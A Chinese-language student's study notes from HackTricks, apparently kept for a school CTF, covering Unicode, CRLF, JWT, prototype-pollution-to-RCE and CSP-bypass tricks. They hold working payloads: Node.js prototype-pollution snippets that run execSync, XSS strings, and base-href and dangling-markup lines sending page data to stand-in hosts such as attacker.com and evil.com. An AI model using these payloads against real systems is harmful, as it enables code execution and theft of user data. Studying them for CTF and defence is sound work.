HackTricks学习记录
最近打校赛,搜索资料的时候看到了
HackTricks感觉里面的很多tricks很有价值,于是记录一下学习的过程
unicode问题
规范化
很多后端可能自动规范化unicode,会导致很多问题(SQL注入,XSS,bypass)
例如想要接管[email protected]可以试试注册vić[email protected]
所以看到代码里又关于字符规范化的内容时,可以考虑相关漏洞
XSS
㱋是\u3c4b(在这里查看)。如果后端将前缀\u转换为%,则结果字符串将是%3c4b,URL解码后为:<4b,成功注入<
或者利用emoji注入
<?php
$str = isset($_GET["str"]) ? htmlspecialchars($_GET["str"]) : "";
$str = iconv("Windows-1252", "UTF-8", $str);
$str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;💋img src=x onerror=alert(document.domain)//💛windows专属
windows会 用一个相似的字符替换 在 ASCII 模式下无法显示的 unicode 字符,也通常会在执行的最后阶段将 unicode 字符串转换为 ascii 字符串,可能利用unicode绕过对\/的限制
CRLF注入
回车 (CR) 和换行 (LF),Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体
如果直接在响应头中使用用户输入,可能导致浏览器收到的请求被篡改来实现XSS,SSRF,启用CORS等
UUID
uuid v1可能被三明治攻击,也可能暴露主机mac地址
感觉可以出成题目(bushi
jwt
之前以为jwt只有那点洞,原来还能:
kid问题
头部声明kid表示密钥位置,可能泄露密钥
或者伪造kid为可预测内容的文件,可能导致服务器错误使用文件内容来验证签名。例如,Linux系统中的/proc/sys/kernel/randomize_va_space文件,已知包含值2,可以在kid参数中使用2作为JWT生成的对称密码。
可能用于sql注入或者命令注入(例如服务器直接拼接内容来查询文件)
如果生成时可以指定kid,那么可以任意文件读取
公钥泄露
生成两个jwt可能导致公钥被泄露,结合服务器不校验验证方式,可能bypass
JWKS公钥注入——伪造密钥(CVE-2018-0114)
创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌
攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。
x5u
指向证书url,可能导致SSRF
ES256
如果某些应用程序使用 ES256 并使用相同的随机数生成两个 JWT,则可以恢复私钥。
ECDSA: Revealing the private key, if nonce revealled (SECP256k1)
nodejs原型链污染到rce
污染__proto__
const { execSync, fork } = require("child_process")
// 原型链污染
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// 如果服务器有类似语句
var proc = fork("./a_file.js")
// 将会创建/tmp/pp2rec
// 利用示例
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// 将会创建 /tmp/pp2rec污染 constructor.prototype
与上一个同理,只不过改成了b.constructor.prototype.xxx
PP2RCE
const { execSync, fork } = require("child_process")
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
USERINPUT = JSON.parse(1
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec不只是fork,其他child_process里面的函数都有可能利用,像是spawn,exec,execfile,execFileSync,execSync,spawdSync等,具体利用方式就不贴了,反正原理类似
CSP绕过
允许部分url
如果csp运行从“可信渠道”加载js(而且要有unsafe-eval才行)
例如Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
那么就可以想办法通过这些渠道来xss
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>类似的还有https://www.google.com/recaptcha/
利用 https://www.google.com/amp/s/example.com/ 来重定向
当然,CTF里面很难出现,实战才有可能
相对路径覆盖(RPO)
如果 CSP 允许路径 https://example.com/scripts/react/ ,但是你只能控制其他路径,则可以按照以下方式绕过:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>base-uri缺失
当网页未指定base-url,那么可以通过
<base href="https://www.attacker.com/" />来指定base-url
所有使用相对路径的都有可能受到影响
特别的,如果csp没有指定self而是仅使用nonce来限制js,而且js路径为相对路径,则可以XSS
(如果还指定了self就不行)
<html lang="en">
<head>
<!--csp策略仅允许self脚本加载-->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>
<body>
<base href="https://www.attacker.com/"/>
<script src="/evil.js"></script>
</body>
</html>
<!--无法加载--><html lang="en">
<head>
<!--csp使用nonce限制js-->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-abc123'">
</head>
<body>
<base href="https://www.attacker.com/"/>
<script src="/evil.js" nonce="abc123"></script>
</body>
</html>
<!--会加载https://www.attacker.com/evil.js-->无脚本HTML注入
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=通过不闭合标签来尝试发送部分html内容
但是Chrome可能阻止包含 "<" 或 "\n" 的 HTTP URL,所以可以考虑ftp等其他协议
快期中考了,不得不先停一段时间了
这个里面的好多技巧好有趣
等有时间了继续研究